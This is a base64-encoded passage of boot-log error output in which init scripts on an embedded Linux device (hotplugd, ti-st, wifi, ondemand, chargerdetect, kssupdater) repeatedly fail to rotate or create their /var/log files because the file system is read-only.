LWhvdHBsdWdkLjIyLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1l
ICcvdmFyL2xvZy8vUzkwLWhvdHBsdWdkLjIxLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQpt
djogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzkwLWhvdHBsdWdkLjIwLmd6JzogUmVhZC1vbmx5
IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzkwLWhvdHBsdWdkLjE5
Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8v
UzkwLWhvdHBsdWdkLjE4Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVu
YW1lICcvdmFyL2xvZy8vUzkwLWhvdHBsdWdkLjE3Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVt
DQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzkwLWhvdHBsdWdkLjE2Lmd6JzogUmVhZC1v
bmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzkwLWhvdHBsdWdk
LjE1Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xv
Zy8vUzkwLWhvdHBsdWdkLjE0Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3Qg
cmVuYW1lICcvdmFyL2xvZy8vUzkwLWhvdHBsdWdkLjEzLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lz
dGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzkwLWhvdHBsdWdkLjEyLmd6JzogUmVh
ZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzkwLWhvdHBs
dWdkLjExLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFy
L2xvZy8vUzkwLWhvdHBsdWdkLjEwLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2Fu
J3QgcmVuYW1lICcvdmFyL2xvZy8vUzkwLWhvdHBsdWdkLjkuZ3onOiBSZWFkLW9ubHkgZmlsZSBz
eXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TOTAtaG90cGx1Z2QuOC5neic6IFJl
YWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1M5MC1ob3Rw
bHVnZC43Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFy
L2xvZy8vUzkwLWhvdHBsdWdkLjYuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4n
dCByZW5hbWUgJy92YXIvbG9nLy9TOTAtaG90cGx1Z2QuNS5neic6IFJlYWQtb25seSBmaWxlIHN5
c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1M5MC1ob3RwbHVnZC40Lmd6JzogUmVh
ZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzkwLWhvdHBs
dWdkLjMuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIv
bG9nLy9TOTAtaG90cGx1Z2QuMi5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0
IHJlbmFtZSAnL3Zhci9sb2cvL1M5MC1ob3RwbHVnZC4xLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lz
dGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzkwLWhvdHBsdWdkLjAuZ3onOiBSZWFk
LW9ubHkgZmlsZSBzeXN0ZW0NCmd6aXA6IGNhbid0IG9wZW4gJy92YXIvbG9nLy9TOTAtaG90cGx1
Z2QuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9n
Ly9TOTAtaG90cGx1Z2QuZ3onOiBObyBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5DQovZXRjL2luaXQu
ZC9yYzUuZC9TOTAtaG90cGx1Z2Q6IGxpbmUgNDogY2FuJ3QgY3JlYXRlIC92YXIvbG9nLy9TOTAt
aG90cGx1Z2Q6IFJlYSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzkzLXRp
LXN0LjI4Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFy
L2xvZy8vUzkzLXRpLXN0LjI3Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3Qg
cmVuYW1lICcvdmFyL2xvZy8vUzkzLXRpLXN0LjI2Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVt
DQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzkzLXRpLXN0LjI1Lmd6JzogUmVhZC1vbmx5
IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzkzLXRpLXN0LjI0Lmd6
JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzkz
LXRpLXN0LjIzLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcv
dmFyL2xvZy8vUzkzLXRpLXN0LjIyLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2Fu
J3QgcmVuYW1lICcvdmFyL2xvZy8vUzkzLXRpLXN0LjIxLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lz
dGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzkzLXRpLXN0LjIwLmd6JzogUmVhZC1v
bmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzkzLXRpLXN0LjE5
Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8v
UzkzLXRpLXN0LjE4Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1l
ICcvdmFyL2xvZy8vUzkzLXRpLXN0LjE3Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjog
Y2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzkzLXRpLXN0LjE2Lmd6JzogUmVhZC1vbmx5IGZpbGUg
c3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzkzLXRpLXN0LjE1Lmd6JzogUmVh
ZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzkzLXRpLXN0
LjE0Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xv
Zy8vUzkzLXRpLXN0LjEzLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVu
YW1lICcvdmFyL2xvZy8vUzkzLXRpLXN0LjEyLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQpt
djogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzkzLXRpLXN0LjExLmd6JzogUmVhZC1vbmx5IGZp
bGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzkzLXRpLXN0LjEwLmd6Jzog
UmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzkzLXRp
LXN0LjkuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIv
bG9nLy9TOTMtdGktc3QuOC5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJl
bmFtZSAnL3Zhci9sb2cvL1M5My10aS1zdC43Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQpt
djogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzkzLXRpLXN0LjYuZ3onOiBSZWFkLW9ubHkgZmls
ZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TOTMtdGktc3QuNS5neic6IFJl
YWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1M5My10aS1z
dC40Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xv
Zy8vUzkzLXRpLXN0LjMuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5h
bWUgJy92YXIvbG9nLy9TOTMtdGktc3QuMi5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6
IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1M5My10aS1zdC4xLmd6JzogUmVhZC1vbmx5IGZpbGUg
c3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzkzLXRpLXN0LjAuZ3onOiBSZWFk
LW9ubHkgZmlsZSBzeXN0ZW0NCmd6aXA6IGNhbid0IG9wZW4gJy92YXIvbG9nLy9TOTMtdGktc3Qu
Z3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9T
OTMtdGktc3QuZ3onOiBObyBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5DQovZXRjL2luaXQuZC9yYzUu
ZC9TOTMtdGktc3Q6IGxpbmUgNDogY2FuJ3QgY3JlYXRlIC92YXIvbG9nLy9TOTMtdGktc3Q6IFJl
YWQtb25seSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZp
bGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzk2LXdpZmkuMjguZ3onOiBS
ZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TOTYtd2lm
aS4yNy5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9s
b2cvL1M5Ni13aWZpLjI2Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVu
YW1lICcvdmFyL2xvZy8vUzk2LXdpZmkuMjUuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12
OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TOTYtd2lmaS4yNC5neic6IFJlYWQtb25seSBmaWxl
IHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1M5Ni13aWZpLjIyLmd6JzogUmVh
ZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzk2LXdpZmku
MjEuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9n
Ly9TOTYtd2lmaS4yMC5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFt
ZSAnL3Zhci9sb2cvL1M5Ni13aWZpLjE5Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjog
Y2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzk2LXdpZmkuMTguZ3onOiBSZWFkLW9ubHkgZmlsZSBz
eXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TOTYtd2lmaS4xNy5neic6IFJlYWQt
b25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1M5Ni13aWZpLjE2
Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8v
Uzk2LXdpZmkuMTUuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUg
Jy92YXIvbG9nLy9TOTYtd2lmaS4xNC5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNh
bid0IHJlbmFtZSAnL3Zhci9sb2cvL1M5Ni13aWZpLjEzLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lz
dGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzk2LXdpZmkuMTIuZ3onOiBSZWFkLW9u
bHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TOTYtd2lmaS4xMS5n
eic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1M5
Ni13aWZpLjEwLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcv
dmFyL2xvZy8vUzk2LXdpZmkuOS5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0
IHJlbmFtZSAnL3Zhci9sb2cvL1M5Ni13aWZpLjguZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0N
Cm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TOTYtd2lmaS43Lmd6JzogUmVhZC1vbmx5IGZp
bGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzk2LXdpZmkuNi5neic6IFJl
YWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1M5Ni13aWZp
LjQuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9n
Ly9TOTYtd2lmaS4zLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1l
ICcvdmFyL2xvZy8vUzk2LXdpZmkuMi5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNh
bid0IHJlbmFtZSAnL3Zhci9sb2cvL1M5Ni13aWZpLjEuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0
ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TOTYtd2lmaS4wLmd6JzogUmVhZC1vbmx5
IGZpbGUgc3lzdGVtDQpnemlwOiBjYW4ndCBvcGVuICcvdmFyL2xvZy8vUzk2LXdpZmkuZ3onOiBS
ZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TOTYtd2lm
aS5neic6IE5vIHN1Y2ggZmlsZSBvciBkaXJlY3RvcnkNCi9ldGMvaW5pdC5kL3JjNS5kL1M5Ni13
aWZpOiBsaW5lIDQ6IGNhbid0IGNyZWF0ZSAvdmFyL2xvZy8vUzk2LXdpZmk6IFJlYWQtb25seSBm
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpbGUgc3lzdGVt
DQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzk3LW9uZGVtYW5kLjI4Lmd6JzogUmVhZC1v
bmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzk3LW9uZGVtYW5k
LjI3Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xv
Zy8vUzk3LW9uZGVtYW5kLjI2Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3Qg
cmVuYW1lICcvdmFyL2xvZy8vUzk3LW9uZGVtYW5kLjI1Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lz
dGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzk3LW9uZGVtYW5kLjI0Lmd6JzogUmVh
ZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzk3LW9uZGVt
YW5kLjIzLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFy
L2xvZy8vUzk3LW9uZGVtYW5kLjIyLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2Fu
J3QgcmVuYW1lICcvdmFyL2xvZy8vUzk3LW9uZGVtYW5kLjIxLmd6JzogUmVhZC1vbmx5IGZpbGUg
c3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzk3LW9uZGVtYW5kLjIwLmd6Jzog
UmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzk3LW9u
ZGVtYW5kLjE5Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcv
dmFyL2xvZy8vUzk3LW9uZGVtYW5kLjE4Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjog
Y2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzk3LW9uZGVtYW5kLjE3Lmd6JzogUmVhZC1vbmx5IGZp
bGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzk3LW9uZGVtYW5kLjE2Lmd6
JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzk3
LW9uZGVtYW5kLjE1Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1l
ICcvdmFyL2xvZy8vUzk3LW9uZGVtYW5kLjE0Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQpt
djogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzk3LW9uZGVtYW5kLjEzLmd6JzogUmVhZC1vbmx5
IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzk3LW9uZGVtYW5kLjEy
Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8v
Uzk3LW9uZGVtYW5kLjExLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVu
YW1lICcvdmFyL2xvZy8vUzk3LW9uZGVtYW5kLjEwLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVt
DQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzk3LW9uZGVtYW5kLjkuZ3onOiBSZWFkLW9u
bHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TOTctb25kZW1hbmQu
OC5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cv
L1M5Ny1vbmRlbWFuZC43Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVu
YW1lICcvdmFyL2xvZy8vUzk3LW9uZGVtYW5kLjYuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0N
Cm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TOTctb25kZW1hbmQuNS5neic6IFJlYWQtb25s
eSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1M5Ny1vbmRlbWFuZC40
Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8v
Uzk3LW9uZGVtYW5kLjMuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5h
bWUgJy92YXIvbG9nLy9TOTctb25kZW1hbmQuMi5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0K
bXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1M5Ny1vbmRlbWFuZC4xLmd6JzogUmVhZC1vbmx5
IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzk3LW9uZGVtYW5kLjAu
Z3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCmd6aXA6IGNhbid0IG9wZW4gJy92YXIvbG9nLy9T
OTctb25kZW1hbmQuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUg
Jy92YXIvbG9nLy9TOTctb25kZW1hbmQuZ3onOiBObyBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5DQov
ZXRjL2luaXQuZC9yYzUuZC9TOTctb25kZW1hbmQ6IGxpbmUgNDogY2FuJ3QgY3JlYXRlIC92YXIv
bG9nLy9TOTctb25kZW1hbmQ6IFJlYSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xv
Zy8vUzk4LWNoYXJnZXJkZXRlY3QuMjguZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBj
YW4ndCByZW5hbWUgJy92YXIvbG9nLy9TOTgtY2hhcmdlcmRldGVjdC4yNy5neic6IFJlYWQtb25s
eSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1M5OC1jaGFyZ2VyZGV0
ZWN0LjI2Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFy
L2xvZy8vUzk4LWNoYXJnZXJkZXRlY3QuMjUuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12
OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TOTgtY2hhcmdlcmRldGVjdC4yNC5neic6IFJlYWQt
b25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1M5OC1jaGFyZ2Vy
ZGV0ZWN0LjIzLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcv
dmFyL2xvZy8vUzk4LWNoYXJnZXJkZXRlY3QuMjIuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0N
Cm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TOTgtY2hhcmdlcmRldGVjdC4yMS5neic6IFJl
YWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1M5OC1jaGFy
Z2VyZGV0ZWN0LjIwLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1l
ICcvdmFyL2xvZy8vUzk4LWNoYXJnZXJkZXRlY3QuMTkuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0
ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TOTgtY2hhcmdlcmRldGVjdC4xOC5neic6
IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1M5OC1j
aGFyZ2VyZGV0ZWN0LjE3Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVu
YW1lICcvdmFyL2xvZy8vUzk4LWNoYXJnZXJkZXRlY3QuMTYuZ3onOiBSZWFkLW9ubHkgZmlsZSBz
eXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TOTgtY2hhcmdlcmRldGVjdC4xNS5n
eic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1M5
OC1jaGFyZ2VyZGV0ZWN0LjE0Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3Qg
cmVuYW1lICcvdmFyL2xvZy8vUzk4LWNoYXJnZXJkZXRlY3QuMTMuZ3onOiBSZWFkLW9ubHkgZmls
ZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TOTgtY2hhcmdlcmRldGVjdC4x
Mi5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cv
L1M5OC1jaGFyZ2VyZGV0ZWN0LjExLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2Fu
J3QgcmVuYW1lICcvdmFyL2xvZy8vUzk4LWNoYXJnZXJkZXRlY3QuMTAuZ3onOiBSZWFkLW9ubHkg
ZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TOTgtY2hhcmdlcmRldGVj
dC45Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xv
Zy8vUzk4LWNoYXJnZXJkZXRlY3QuOC5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNh
bid0IHJlbmFtZSAnL3Zhci9sb2cvL1M5OC1jaGFyZ2VyZGV0ZWN0LjcuZ3onOiBSZWFkLW9ubHkg
ZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TOTgtY2hhcmdlcmRldGVj
dC42Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xv
Zy8vUzk4LWNoYXJnZXJkZXRlY3QuNS5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNh
bid0IHJlbmFtZSAnL3Zhci9sb2cvL1M5OC1jaGFyZ2VyZGV0ZWN0LjQuZ3onOiBSZWFkLW9ubHkg
ZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TOTgtY2hhcmdlcmRldGVj
dC4zLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xv
Zy8vUzk4LWNoYXJnZXJkZXRlY3QuMi5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNh
bid0IHJlbmFtZSAnL3Zhci9sb2cvL1M5OC1jaGFyZ2VyZGV0ZWN0LjEuZ3onOiBSZWFkLW9ubHkg
ZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TOTgtY2hhcmdlcmRldGVj
dC4wLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQpnemlwOiBjYW4ndCBvcGVuICcvdmFyL2xv
Zy8vUzk4LWNoYXJnZXJkZXRlY3QuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4n
dCByZW5hbWUgJy92YXIvbG9nLy9TOTgtY2hhcmdlcmRldGVjdC5neic6IE5vIHN1Y2ggZmlsZSBv
ciBkaXJlY3RvcnkNCi9ldGMvaW5pdC5kL3JjNS5kL1M5OC1jaGFyZ2VyZGV0ZWN0OiBsaW5lIDQ6
IGNhbid0IGNyZWF0ZSAvdmFyL2xvZy8vUzk4LWNoYXJnZXJkICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICBldGVjdDogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQpt
djogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzk4LWtzc3VwZGF0ZXIuMjguZ3onOiBSZWFkLW9u
bHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TOTgta3NzdXBkYXRl
ci4yNy5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9s
b2cvL1M5OC1rc3N1cGRhdGVyLjI2Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2Fu
